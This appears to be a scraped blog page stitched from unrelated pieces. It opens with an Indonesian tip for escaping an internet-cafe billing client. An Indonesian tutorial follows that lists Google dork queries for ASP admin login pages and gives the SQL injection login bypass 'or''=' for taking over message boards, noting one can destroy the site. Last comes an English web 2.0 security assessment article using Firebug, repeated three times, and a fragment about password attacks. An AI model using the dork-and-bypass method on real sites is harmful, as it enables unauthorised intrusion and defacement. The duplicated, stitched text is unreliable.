pertama download dulu aplikasinya pada link dibawah yang telah disediakan :
setelah itu jalankan program yang didownload tersebut.
Ikuti petunjuk berurutan sesuai yang ada pada program billing client palsu. Jika beruntung maka Anda bisa keluar dari program billing client dan menikmati hampir semua fasilitas windows yang dikunci oleh billing client aslinya.
Related Post :
memvalidasi input dari user.
Sebenarnya ini bug sudah lama sekali,tapi yang namanya ilmu gak ada basinya kan… :)
gak usah banyak omong langsung aja kepermasalahan.
pastikan komputer anda sudah connect internet hehehhee….
buka www.google.com
Masukkan kata kunci/keyword dibawah:
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
“/admin/adminlogin.asp”
“/admin/adminlogon.asp”
“/admin/admin_login.asp”
“/admin/admin_logon.asp”
“/administrator/admin.asp”
“/administrator/login.asp”
“/administrator/logon.asp”
“root/login.asp”
“admin/index.asp”
BOARD ADMINISTRATOR
Screenshoot :
Silakan login terlebih dahulu untuk melakukan perubahan pada Message Board Anda
LOGIN NAME : admin
PASSWORD : 'or''='
setelah Login yang dapat kita lakukan adalah :
:: Normal view
:: Administrator View
:: Kustomisasi Tampilan
:: Preference
:: Ganti Password
:: Ubah Profil
:: Logout
ADMINISTRASI MESSAGE BOARD
Fasilitas ini dapat digunakan untuk melakukan adminsitrasi message board Anda. Anda dapat
melakukan apa saja yang Anda Inginkan termasuk Menghancurkan WEB tersebut.
Mohon jangan disalahgunakan karena ini hanya pembelajaran saja. .
BY : SEMUT MERAH
by Shreeraj Shah
Introduction
AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings about new challenges for security professionals.
This article looks at some of the methods, tools and tricks to dissect web 2.0 applications (including Ajax) and discover security holes using Firefox and its plugins. The key learning objectives of this article are to understand the:
- web 2.0 application architecture and its security concerns.
- hacking challenges such as discovering hidden calls, crawling issues, and Ajax side logic discovery.
- discovery of XHR calls with the Firebug tool.
- simulation of browser event automation with the Chickenfoot plugin.
- debugging of applications from a security standpoint, using the Firebug debugger.
- methodical approach to vulnerability detection.
Web 2.0 application overview
The newly coined term “web 2.0” refers to the next generation of web applications that have logically evolved with the adoption of new technological vectors. XML-driven web services that are running on SOAP, XML-RPC and REST are empowering server-side components. New applications offer powerful end-user interfaces by utilizing Ajax and rich internet application (Flash) components.
This technological shift has an impact on the overall architecture of web applications and the communication mechanism between client and server. At the same time, this shift has opened up new security concerns [ref 1] and challenges.
New worms such as Yamanner, Samy and Spaceflash are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information.
Figure 1. Web 2.0 architecture layout.
As shown in Figure 1, the browser processes on the left can be divided into the following layers:
- Presentation layer - HTML/CSS provides the overall appearance to the application in the browser window.
- Logic & Process - JavaScript running in the browser empowers applications to execute business and communication logic. AJAX-driven components reside in this layer.
- Transport - XMLHttpRequest (XHR) [ref 2]. This object empowers asynchronous communication capabilities and XML exchange mechanism between client and server over HTTP(S).
The server-side components on the right of Figure 1 that typically reside in the corporate infrastructure behind a firewall may include deployed web services along with traditional web application resources. An Ajax resource running on the browser can directly talk to XML-based web services and exchange information without refreshing the page. This entire communication is hidden from the end-user, in other words the end-user would not “feel” any redirects. The use of a “Refresh” and “Redirects” were an integral part of the first generation of web application logic. In the web 2.0 framework they are reduced substantially by implementing Ajax.
Web 2.0 assessment challenges
In this asynchronous framework, the application does not have many “Refreshes” and “Redirects”. As a result, many interesting server-side resources that can be exploited by an attacker are hidden. The following are three important challenges for security people trying to understand web 2.0 applications:
- Discovering hidden calls - It is imperative that one identify XHR-driven calls generated by the loaded page in the browser. It uses JavaScript over HTTP(S) to make these calls to the backend servers.
- Crawling challenges - Traditional crawler applications fail on two key fronts: one, to replicate browser behavior and two, to identify key server-side resources in the process. If a resource is accessed by an XHR object via JavaScript, then it is more than likely that the crawling application may not pick it up at all.
- Logic discovery - Web applications today are loaded with JavaScript and it is difficult to isolate the logic for a particular event. Each HTML page may load three or four JavaScript resources from the server. Each of these files may have many functions, but the event may be using only a very small part of all these files for its execution logic.
We need to investigate and identify the methodology and tools to overcome these hurdles during a web application assessment. For the purpose of this article, we will use Firefox as our browser and try to leverage some of its plugins to combat the above challenges.
Discovering hidden calls
Web 2.0 applications may load a single page from the server but may make several XHR object calls when constructing the final page. These calls may pull content or JavaScript from the server asynchronously. In such a scenario, the challenge is to determine all XHR calls and resources pulled from the server. This is information that could help in identifying all possible resources and associated vulnerabilities. Let's start with a simple example.
Suppose we can get today’s business news by visiting a simple news portal located at:
http://example.com/news.aspx
The page in the browser would resemble the screenshot illustrated below in Figure 2.
Figure 2. A simple news portal page.
Being a web 2.0 application, Ajax calls are made to the server using an XHR object. We can determine these calls by using a tool known as Firebug [ref 3]. Firebug is a plug-in to the Firefox browser and has the ability to identify XHR object calls.
Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.
Figure 3. Setting Firebug to intercept XMLHttpRequest calls.
With the Firebug option to intercept XMLHttpRequest calls enabled, we browse the same page to discover all XHR object calls made by this particular page to the server. This exchange is shown in Figure 4.
Figure 4. Capturing Ajax calls.
We can see several requests made by the browser using XHR. It has loaded the dojo AJAX framework from the server while simultaneously making a call to a resource on the server to fetch news articles.
http://example.com/ getnews.aspx?date=09262006
If we closely look at the code, we can see following function in JavaScript:
function getNews() { var http; http = new XMLHttpRequest(); http.open("GET", " getnews.aspx?date=09262006", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes an asynchronous call to the backend web server and asks for the resource getnews.aspx?date=09262006. The content of this page is placed at the ‘result’ id location in the resulting HTML page. This is clearly an Ajax call using the XHR object.
By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.
continued
[ref 1] Ajax security, http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
Crawling challenges and browser simulation
An important reconnaissance tool when performing web application assessment is a web crawler. A web crawler crawls every single page and collects all HREFs (links). But what if these HREFs point to a JavaScript function that makes Ajax calls using the XHR object? The web crawler may miss this information altogether.
In many cases it becomes very difficult to simulate this environment. For example, here is a set of simple links:
The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.
function getMe() { var http; http = new XMLHttpRequest(); http.open("GET", "hi.html", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes a simple Ajax call to the hi.html resource on the server.
Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.
By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with onClick events. The advantage of this plug-in over traditional web crawlers is distinct: each of these onClick events makes backend XHR-based AJAX calls which may be missed by crawlers because crawlers try to parse JavaScript and collect possible links but cannot replace actual onClick events.
l=find('link') for(i=0;iYou can load this script in the Chickenfoot console and run it as shown in Figure 5.
Figure 5. Simulating onClick AJAX call with chickenfoot.
This way, one can create JavaScript and assess AJAX-based applications from within the Firefox browser. There are several API calls [ref 5] that can be used in the chickenfoot plugin. A useful one is the “fetch” command to build a crawling utility.
Logic discovery & dissecting applications
To dissect client-side Ajax-based applications, one needs to go through each of the events very carefully in order to determine process logic. One way of determining the entire logic is to walk through each line of code. Often, each of these event calls process just a few functions from specific files only. Hence, one needs to use a technique to step through the relevant code that gets executed in a browser.
There are a few powerful debuggers for JavaScript that can be used to achieve the above objective. Firebug is one of them. Another one is venkman [ref 6]. We shall use Firebug again in our example.
Let’s take a simple example of a login process. The login.html page accepts a username and password from the end-user, as shown in Figure 6. Use the “inspect” feature of Firebug to determine the property of the form.
Figure 6. Form property inspection with Firebug.
After inspecting the form property, it is clear that a call is made to the “auth” function. We can now go to the debugger feature of Firebug as illustrated in Figure 7 and isolate internal logic for a particular event.
Figure 7. Debugging with Firebug.
All JavaScript dependencies of this particular page can be viewed. Calls are made to the ajaxlib.js and validation.js scripts. These two scripts must have several functions. It can be deduced that the login process utilizes some of these functions. We can use a “breakpoint” to step through the entire application. Once a breakpoint is set, we can input credential information, click the “Submit” button and control the execution process. In our example, we have set a breakpoint in the “auth” function as shown in Figure 8.
Figure 8. Setting a breakpoint and controlling execution process.
We now step through the debugging process by clicking the “step in” button, which was highlighted in Figure 8. JavaScript execution moves to another function, userval, residing in the file validation.js as shown in Figure 9.
Figure 9. Moving to validation.js script page.
The preceding screenshot shows the regular expression pattern used to validate the username field. Once validation is done execution moves to another function callGetMethod as shown in Figure 10.
Figure 10. Making an Ajax call.
Finally, at the end of the execution sequence, we can observe the call to backend web services as being made by the XHR object. This is shown in Figure 11.
Figure 11. Web services call on the Firebug console.
Here we have identified the resource location for the backend web services:
http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish
The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.
Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].
In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.
Conclusion
Service-oriented architecture (SOA), Ajax, Rich Internet Applications (RIA) and web services are critical components to next generation web applications. To keep pace with these technologies and combat next-generation application security challenges, one needs to design and develop different methodologies and tools. One of the efficient methodologies of assessing applications is by effectively using a browser.
In this article we have seen three techniques to assess web 2.0 applications. By using these methodologies it is possible to identify and isolate several Ajax-related vulnerabilities. Browser automation scripting can assist us in web asset profiling and discovery, that in turn can help in identifying vulnerable server-side resources.
Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.
References
[ref 1] Ajax security,
http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
[ref 4] Chickenfoot quick start, http://groups.csail.mit.edu/uid/chickenfoot/quickstart.html
[ref 5] Chickenfoot API reference - http://groups.csail.mit.edu/uid/chickenfoot/api.html
[ref 6] Venkman walkthrough, http://www.mozilla.org/projects/venkman/venkman-walkthrough.html
[ref 7] wsChess, http://net-square.com/wschess
by Shreeraj Shah
Introduction
AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings about new challenges for security professionals.
This article looks at some of the methods, tools and tricks to dissect web 2.0 applications (including Ajax) and discover security holes using Firefox and its plugins. The key learning objectives of this article are to understand the:
- web 2.0 application architecture and its security concerns.
- hacking challenges such as discovering hidden calls, crawling issues, and Ajax side logic discovery.
- discovery of XHR calls with the Firebug tool.
- simulation of browser event automation with the Chickenfoot plugin.
- debugging of applications from a security standpoint, using the Firebug debugger.
- methodical approach to vulnerability detection.
Web 2.0 application overview
The newly coined term “web 2.0” refers to the next generation of web applications that have logically evolved with the adoption of new technological vectors. XML-driven web services that are running on SOAP, XML-RPC and REST are empowering server-side components. New applications offer powerful end-user interfaces by utilizing Ajax and rich internet application (Flash) components.
This technological shift has an impact on the overall architecture of web applications and the communication mechanism between client and server. At the same time, this shift has opened up new security concerns [ref 1] and challenges.
New worms such as Yamanner, Samy and Spaceflash are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information.
Figure 1. Web 2.0 architecture layout.
As shown in Figure 1, the browser processes on the left can be divided into the following layers:
- Presentation layer - HTML/CSS provides the overall appearance to the application in the browser window.
- Logic & Process - JavaScript running in the browser empowers applications to execute business and communication logic. AJAX-driven components reside in this layer.
- Transport - XMLHttpRequest (XHR) [ref 2]. This object empowers asynchronous communication capabilities and XML exchange mechanism between client and server over HTTP(S).
The server-side components on the right of Figure 1 that typically reside in the corporate infrastructure behind a firewall may include deployed web services along with traditional web application resources. An Ajax resource running on the browser can directly talk to XML-based web services and exchange information without refreshing the page. This entire communication is hidden from the end-user, in other words the end-user would not “feel” any redirects. The use of a “Refresh” and “Redirects” were an integral part of the first generation of web application logic. In the web 2.0 framework they are reduced substantially by implementing Ajax.
Web 2.0 assessment challenges
In this asynchronous framework, the application does not have many “Refreshes” and “Redirects”. As a result, many interesting server-side resources that can be exploited by an attacker are hidden. The following are three important challenges for security people trying to understand web 2.0 applications:
- Discovering hidden calls - It is imperative that one identify XHR-driven calls generated by the loaded page in the browser. It uses JavaScript over HTTP(S) to make these calls to the backend servers.
- Crawling challenges - Traditional crawler applications fail on two key fronts: one, to replicate browser behavior and two, to identify key server-side resources in the process. If a resource is accessed by an XHR object via JavaScript, then it is more than likely that the crawling application may not pick it up at all.
- Logic discovery - Web applications today are loaded with JavaScript and it is difficult to isolate the logic for a particular event. Each HTML page may load three or four JavaScript resources from the server. Each of these files may have many functions, but the event may be using only a very small part of all these files for its execution logic.
We need to investigate and identify the methodology and tools to overcome these hurdles during a web application assessment. For the purpose of this article, we will use Firefox as our browser and try to leverage some of its plugins to combat the above challenges.
Discovering hidden calls
Web 2.0 applications may load a single page from the server but may make several XHR object calls when constructing the final page. These calls may pull content or JavaScript from the server asynchronously. In such a scenario, the challenge is to determine all XHR calls and resources pulled from the server. This is information that could help in identifying all possible resources and associated vulnerabilities. Let's start with a simple example.
Suppose we can get today’s business news by visiting a simple news portal located at:
http://example.com/news.aspx
The page in the browser would resemble the screenshot illustrated below in Figure 2.
Figure 2. A simple news portal page.
Being a web 2.0 application, Ajax calls are made to the server using an XHR object. We can determine these calls by using a tool known as Firebug [ref 3]. Firebug is a plug-in to the Firefox browser and has the ability to identify XHR object calls.
Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.
Figure 3. Setting Firebug to intercept XMLHttpRequest calls.
With the Firebug option to intercept XMLHttpRequest calls enabled, we browse the same page to discover all XHR object calls made by this particular page to the server. This exchange is shown in Figure 4.
Figure 4. Capturing Ajax calls.
We can see several requests made by the browser using XHR. It has loaded the dojo AJAX framework from the server while simultaneously making a call to a resource on the server to fetch news articles.
http://example.com/ getnews.aspx?date=09262006
If we closely look at the code, we can see following function in JavaScript:
function getNews() { var http; http = new XMLHttpRequest(); http.open("GET", " getnews.aspx?date=09262006", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes an asynchronous call to the backend web server and asks for the resource getnews.aspx?date=09262006. The content of this page is placed at the ‘result’ id location in the resulting HTML page. This is clearly an Ajax call using the XHR object.
By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.
continued
[ref 1] Ajax security, http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
Crawling challenges and browser simulation
An important reconnaissance tool when performing web application assessment is a web crawler. A web crawler crawls every single page and collects all HREFs (links). But what if these HREFs point to a JavaScript function that makes Ajax calls using the XHR object? The web crawler may miss this information altogether.
In many cases it becomes very difficult to simulate this environment. For example, here is a set of simple links:
The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.
function getMe() { var http; http = new XMLHttpRequest(); http.open("GET", "hi.html", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes a simple Ajax call to the hi.html resource on the server.
Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.
By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with onClick events. The advantage of this plug-in over traditional web crawlers is distinct: each of these onClick events makes backend XHR-based AJAX calls which may be missed by crawlers because crawlers try to parse JavaScript and collect possible links but cannot replace actual onClick events.
l=find('link') for(i=0;iYou can load this script in the Chickenfoot console and run it as shown in Figure 5.
Figure 5. Simulating onClick AJAX call with chickenfoot.
This way, one can create JavaScript and assess AJAX-based applications from within the Firefox browser. There are several API calls [ref 5] that can be used in the chickenfoot plugin. A useful one is the “fetch” command to build a crawling utility.
Logic discovery & dissecting applications
To dissect client-side Ajax-based applications, one needs to go through each of the events very carefully in order to determine process logic. One way of determining the entire logic is to walk through each line of code. Often, each of these event calls process just a few functions from specific files only. Hence, one needs to use a technique to step through the relevant code that gets executed in a browser.
There are a few powerful debuggers for JavaScript that can be used to achieve the above objective. Firebug is one of them. Another one is venkman [ref 6]. We shall use Firebug again in our example.
Let’s take a simple example of a login process. The login.html page accepts a username and password from the end-user, as shown in Figure 6. Use the “inspect” feature of Firebug to determine the property of the form.
Figure 6. Form property inspection with Firebug.
After inspecting the form property, it is clear that a call is made to the “auth” function. We can now go to the debugger feature of Firebug as illustrated in Figure 7 and isolate internal logic for a particular event.
Figure 7. Debugging with Firebug.
All JavaScript dependencies of this particular page can be viewed. Calls are made to the ajaxlib.js and validation.js scripts. These two scripts must have several functions. It can be deduced that the login process utilizes some of these functions. We can use a “breakpoint” to step through the entire application. Once a breakpoint is set, we can input credential information, click the “Submit” button and control the execution process. In our example, we have set a breakpoint in the “auth” function as shown in Figure 8.
Figure 8. Setting a breakpoint and controlling execution process.
We now step through the debugging process by clicking the “step in” button, which was highlighted in Figure 8. JavaScript execution moves to another function, userval, residing in the file validation.js as shown in Figure 9.
Figure 9. Moving to validation.js script page.
The preceding screenshot shows the regular expression pattern used to validate the username field. Once validation is done execution moves to another function callGetMethod as shown in Figure 10.
Figure 10. Making an Ajax call.
Finally, at the end of the execution sequence, we can observe the call to backend web services as being made by the XHR object. This is shown in Figure 11.
Figure 11. Web services call on the Firebug console.
Here we have identified the resource location for the backend web services:
http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish
The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.
Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].
In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.
Conclusion
Service-oriented architecture (SOA), Ajax, Rich Internet Applications (RIA) and web services are critical components to next generation web applications. To keep pace with these technologies and combat next-generation application security challenges, one needs to design and develop different methodologies and tools. One of the efficient methodologies of assessing applications is by effectively using a browser.
In this article we have seen three techniques to assess web 2.0 applications. By using these methodologies it is possible to identify and isolate several Ajax-related vulnerabilities. Browser automation scripting can assist us in web asset profiling and discovery, that in turn can help in identifying vulnerable server-side resources.
Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.
References
[ref 1] Ajax security,
http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
[ref 4] Chickenfoot quick start, http://groups.csail.mit.edu/uid/chickenfoot/quickstart.html
[ref 5] Chickenfoot API reference - http://groups.csail.mit.edu/uid/chickenfoot/api.html
[ref 6] Venkman walkthrough, http://www.mozilla.org/projects/venkman/venkman-walkthrough.html
[ref 7] wsChess, http://net-square.com/wschess
by Shreeraj Shah
Introduction
AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings about new challenges for security professionals.
This article looks at some of the methods, tools and tricks to dissect web 2.0 applications (including Ajax) and discover security holes using Firefox and its plugins. The key learning objectives of this article are to understand the:
- web 2.0 application architecture and its security concerns.
- hacking challenges such as discovering hidden calls, crawling issues, and Ajax side logic discovery.
- discovery of XHR calls with the Firebug tool.
- simulation of browser event automation with the Chickenfoot plugin.
- debugging of applications from a security standpoint, using the Firebug debugger.
- methodical approach to vulnerability detection.
Web 2.0 application overview
The newly coined term “web 2.0” refers to the next generation of web applications that have logically evolved with the adoption of new technological vectors. XML-driven web services that are running on SOAP, XML-RPC and REST are empowering server-side components. New applications offer powerful end-user interfaces by utilizing Ajax and rich internet application (Flash) components.
This technological shift has an impact on the overall architecture of web applications and the communication mechanism between client and server. At the same time, this shift has opened up new security concerns [ref 1] and challenges.
New worms such as Yamanner, Samy and Spaceflash are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information.
Figure 1. Web 2.0 architecture layout.
As shown in Figure 1, the browser processes on the left can be divided into the following layers:
- Presentation layer - HTML/CSS provides the overall appearance to the application in the browser window.
- Logic & Process - JavaScript running in the browser empowers applications to execute business and communication logic. AJAX-driven components reside in this layer.
- Transport - XMLHttpRequest (XHR) [ref 2]. This object empowers asynchronous communication capabilities and XML exchange mechanism between client and server over HTTP(S).
The server-side components on the right of Figure 1 that typically reside in the corporate infrastructure behind a firewall may include deployed web services along with traditional web application resources. An Ajax resource running on the browser can directly talk to XML-based web services and exchange information without refreshing the page. This entire communication is hidden from the end-user, in other words the end-user would not “feel” any redirects. The use of a “Refresh” and “Redirects” were an integral part of the first generation of web application logic. In the web 2.0 framework they are reduced substantially by implementing Ajax.
Web 2.0 assessment challenges
In this asynchronous framework, the application does not have many “Refreshes” and “Redirects”. As a result, many interesting server-side resources that can be exploited by an attacker are hidden. The following are three important challenges for security people trying to understand web 2.0 applications:
- Discovering hidden calls - It is imperative that one identify XHR-driven calls generated by the loaded page in the browser. It uses JavaScript over HTTP(S) to make these calls to the backend servers.
- Crawling challenges - Traditional crawler applications fail on two key fronts: one, to replicate browser behavior and two, to identify key server-side resources in the process. If a resource is accessed by an XHR object via JavaScript, then it is more than likely that the crawling application may not pick it up at all.
- Logic discovery - Web applications today are loaded with JavaScript and it is difficult to isolate the logic for a particular event. Each HTML page may load three or four JavaScript resources from the server. Each of these files may have many functions, but the event may be using only a very small part of all these files for its execution logic.
We need to investigate and identify the methodology and tools to overcome these hurdles during a web application assessment. For the purpose of this article, we will use Firefox as our browser and try to leverage some of its plugins to combat the above challenges.
Discovering hidden calls
Web 2.0 applications may load a single page from the server but may make several XHR object calls when constructing the final page. These calls may pull content or JavaScript from the server asynchronously. In such a scenario, the challenge is to determine all XHR calls and resources pulled from the server. This is information that could help in identifying all possible resources and associated vulnerabilities. Let's start with a simple example.
Suppose we can get today’s business news by visiting a simple news portal located at:
http://example.com/news.aspx
The page in the browser would resemble the screenshot illustrated below in Figure 2.
Figure 2. A simple news portal page.
Being a web 2.0 application, Ajax calls are made to the server using an XHR object. We can determine these calls by using a tool known as Firebug [ref 3]. Firebug is a plug-in to the Firefox browser and has the ability to identify XHR object calls.
Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.
Figure 3. Setting Firebug to intercept XMLHttpRequest calls.
With the Firebug option to intercept XMLHttpRequest calls enabled, we browse the same page to discover all XHR object calls made by this particular page to the server. This exchange is shown in Figure 4.
Figure 4. Capturing Ajax calls.
We can see several requests made by the browser using XHR. It has loaded the dojo AJAX framework from the server while simultaneously making a call to a resource on the server to fetch news articles.
http://example.com/ getnews.aspx?date=09262006
If we closely look at the code, we can see following function in JavaScript:
function getNews() { var http; http = new XMLHttpRequest(); http.open("GET", " getnews.aspx?date=09262006", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes an asynchronous call to the backend web server and asks for the resource getnews.aspx?date=09262006. The content of this page is placed at the ‘result’ id location in the resulting HTML page. This is clearly an Ajax call using the XHR object.
By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.
continued
[ref 1] Ajax security, http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
Crawling challenges and browser simulation
An important reconnaissance tool when performing web application assessment is a web crawler. A web crawler crawls every single page and collects all HREFs (links). But what if these HREFs point to a JavaScript function that makes Ajax calls using the XHR object? The web crawler may miss this information altogether.
In many cases it becomes very difficult to simulate this environment. For example, here is a set of simple links:
The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.
function getMe() { var http; http = new XMLHttpRequest(); http.open("GET", "hi.html", true); http.onreadystatechange = function() { if (http.readyState == 4) { var response = http.responseText; document.getElementById('result').innerHTML = response; } } http.send(null); }The preceding code makes a simple Ajax call to the hi.html resource on the server.
Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.
By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with onClick events. The advantage of this plug-in over traditional web crawlers is distinct: each of these onClick events makes backend XHR-based AJAX calls which may be missed by crawlers because crawlers try to parse JavaScript and collect possible links but cannot replace actual onClick events.
l=find('link') for(i=0;iYou can load this script in the Chickenfoot console and run it as shown in Figure 5.
Figure 5. Simulating onClick AJAX call with chickenfoot.
This way, one can create JavaScript and assess AJAX-based applications from within the Firefox browser. There are several API calls [ref 5] that can be used in the chickenfoot plugin. A useful one is the “fetch” command to build a crawling utility.
Logic discovery & dissecting applications
To dissect client-side Ajax-based applications, one needs to go through each of the events very carefully in order to determine process logic. One way of determining the entire logic is to walk through each line of code. Often, each of these event calls process just a few functions from specific files only. Hence, one needs to use a technique to step through the relevant code that gets executed in a browser.
There are a few powerful debuggers for JavaScript that can be used to achieve the above objective. Firebug is one of them. Another one is venkman [ref 6]. We shall use Firebug again in our example.
Let’s take a simple example of a login process. The login.html page accepts a username and password from the end-user, as shown in Figure 6. Use the “inspect” feature of Firebug to determine the property of the form.
Figure 6. Form property inspection with Firebug.
After inspecting the form property, it is clear that a call is made to the “auth” function. We can now go to the debugger feature of Firebug as illustrated in Figure 7 and isolate internal logic for a particular event.
Figure 7. Debugging with Firebug.
All JavaScript dependencies of this particular page can be viewed. Calls are made to the ajaxlib.js and validation.js scripts. These two scripts must have several functions. It can be deduced that the login process utilizes some of these functions. We can use a “breakpoint” to step through the entire application. Once a breakpoint is set, we can input credential information, click the “Submit” button and control the execution process. In our example, we have set a breakpoint in the “auth” function as shown in Figure 8.
Figure 8. Setting a breakpoint and controlling execution process.
We now step through the debugging process by clicking the “step in” button, which was highlighted in Figure 8. JavaScript execution moves to another function, userval, residing in the file validation.js as shown in Figure 9.
Figure 9. Moving to validation.js script page.
The preceding screenshot shows the regular expression pattern used to validate the username field. Once validation is done execution moves to another function callGetMethod as shown in Figure 10.
Figure 10. Making an Ajax call.
Finally, at the end of the execution sequence, we can observe the call to backend web services as being made by the XHR object. This is shown in Figure 11.
Figure 11. Web services call on the Firebug console.
Here we have identified the resource location for the backend web services:
http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish
The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.
Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].
In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.
Conclusion
Service-oriented architecture (SOA), Ajax, Rich Internet Applications (RIA) and web services are critical components to next generation web applications. To keep pace with these technologies and combat next-generation application security challenges, one needs to design and develop different methodologies and tools. One of the efficient methodologies of assessing applications is by effectively using a browser.
In this article we have seen three techniques to assess web 2.0 applications. By using these methodologies it is possible to identify and isolate several Ajax-related vulnerabilities. Browser automation scripting can assist us in web asset profiling and discovery, that in turn can help in identifying vulnerable server-side resources.
Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.
References
[ref 1] Ajax security,
http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
[ref 4] Chickenfoot quick start, http://groups.csail.mit.edu/uid/chickenfoot/quickstart.html
[ref 5] Chickenfoot API reference - http://groups.csail.mit.edu/uid/chickenfoot/api.html
[ref 6] Venkman walkthrough, http://www.mozilla.org/projects/venkman/venkman-walkthrough.html
[ref 7] wsChess, http://net-square.com/wschess
ok kita mulai
1.SERANGAN PADA PASSWORD
